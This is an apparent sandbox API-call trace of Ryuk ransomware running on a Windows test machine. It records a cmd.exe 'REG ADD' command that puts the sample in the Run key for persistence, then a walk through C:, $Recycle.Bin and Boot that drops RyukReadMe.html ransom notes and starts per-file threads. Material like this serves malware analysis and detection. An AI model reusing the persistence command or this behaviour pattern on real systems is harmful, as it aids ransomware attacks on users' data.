	[0192.304] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x113000, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe")) returned 0x3b
	[0192.304] GetBinaryTypeW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe", lpBinaryType=0x113220 | out: lpBinaryType=0x113220) returned 1
	[0192.305] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x113420, nSize=0x140 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cuserspublicdhrqu.exe")) returned 0x3b
	[0192.305] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"￾￾C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CusersPublicDHrQU.exe\" /f /reg:64", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0195.728] GetTempPathW (in: nBufferLength=0x1388, lpBuffer=0x13fd49c80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25
	[0195.728] SetLastError (dwErrCode=0x0) 
	[0195.728] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\RyukReadMe.html" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3a4
	[0195.729] GetLastError () returned 0xb7
	[0195.729] CloseHandle (hObject=0x3a4) returned 1
	[0195.729] GetLogicalDrives () returned 0x4
	[0195.729] GetDriveTypeW (lpRootPathName="C:") returned 0x3
	[0195.730] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x113540 | out: lpFindFileData=0x113540*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x29e740
	[0195.730] SetLastError (dwErrCode=0x0) 
	[0195.730] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0195.732] GetLastError () returned 0x0
	[0195.733] WriteFile (in: hFile=0x284, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x113488, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x113488*=0x273, lpOverlapped=0x0) returned 1
	[0195.736] CloseHandle (hObject=0x284) returned 1
	[0195.738] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*.*", lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e320
	[0195.738] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0195.738] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0195.738] SetLastError (dwErrCode=0x0) 
	[0195.738] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x244
	[0195.739] GetLastError () returned 0x0
	[0195.739] WriteFile (in: hFile=0x244, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0195.742] CloseHandle (hObject=0x244) returned 1
	[0195.742] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0195.742] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0195.743] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x3e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0195.744] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a759910, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x3e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0195.744] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a759910, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x3e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0195.744] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0195.744] SetLastError (dwErrCode=0x0) 
	[0195.744] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x244
	[0195.744] GetLastError () returned 0xb7
	[0195.744] CloseHandle (hObject=0x244) returned 1
	[0195.745] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a759910, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0195.745] FindClose (in: hFindFile=0x29e320 | out: hFindFile=0x29e320) returned 1
	[0195.745] SetLastError (dwErrCode=0x0) 
	[0195.745] CreateFileW (lpFileName="C:\\$Recycle.Bin\\RyukReadMe.html" (normalized: "c:\\$recycle.bin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0195.745] GetLastError () returned 0xb7
	[0195.745] CloseHandle (hObject=0x284) returned 1
	[0195.746] FindNextFileW (in: hFindFile=0x29e740, lpFindFileData=0x113540 | out: lpFindFileData=0x113540*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x68, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0195.746] SetLastError (dwErrCode=0x0) 
	[0195.746] CreateFileW (lpFileName="C:\\RyukReadMe.html" (normalized: "c:\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284
	[0195.746] GetLastError () returned 0xb7
	[0195.746] CloseHandle (hObject=0x284) returned 1
	[0195.746] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29e320
	[0195.747] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0195.747] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0195.747] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0196.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244
	[0196.354] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.355] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0196.355] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0196.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c
	[0196.367] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.367] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0196.368] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0196.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0196.371] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.372] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0196.372] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0196.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0196.375] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0196.376] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x24, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1
	[0196.376] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0196.376] SetLastError (dwErrCode=0x0) 
	[0196.376] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.378] GetLastError () returned 0x0
	[0196.378] WriteFile (in: hFile=0x390, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0196.381] CloseHandle (hObject=0x390) returned 1
	[0196.382] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0196.382] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0196.383] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0196.383] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0196.383] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0196.383] SetLastError (dwErrCode=0x0) 
	[0196.383] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\RyukReadMe.html" (normalized: "c:\\boot\\cs-cz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.384] GetLastError () returned 0x0
	[0196.384] WriteFile (in: hFile=0x390, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0196.387] CloseHandle (hObject=0x390) returned 1
	[0196.388] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0196.388] SetLastError (dwErrCode=0x0) 
	[0196.388] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.388] GetLastError () returned 0xb7
	[0196.388] CloseHandle (hObject=0x390) returned 1
	[0196.388] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ec20
	[0196.389] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0196.389] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0196.389] FindNextFileW (in: hFindFile=0x29ec20, lpFindFileData=0x1126e0 | out: lpFindFileData=0x1126e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0196.389] FindClose (in: hFindFile=0x29ec20 | out: hFindFile=0x29ec20) returned 1
	[0196.390] SetLastError (dwErrCode=0x0) 
	[0196.390] CreateFileW (lpFileName="C:\\Boot\\da-DK\\RyukReadMe.html" (normalized: "c:\\boot\\da-dk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.390] GetLastError () returned 0x0
	[0196.390] WriteFile (in: hFile=0x390, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x112d58, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x112d58*=0x273, lpOverlapped=0x0) returned 1
	[0196.394] CloseHandle (hObject=0x390) returned 1
	[0196.394] FindNextFileW (in: hFindFile=0x29e320, lpFindFileData=0x112e10 | out: lpFindFileData=0x112e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0196.395] SetLastError (dwErrCode=0x0) 
	[0196.395] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390
	[0196.396] GetLastError () returned 0xb7
	[0196.396] CloseHandle (hObject=0x390) returned 1
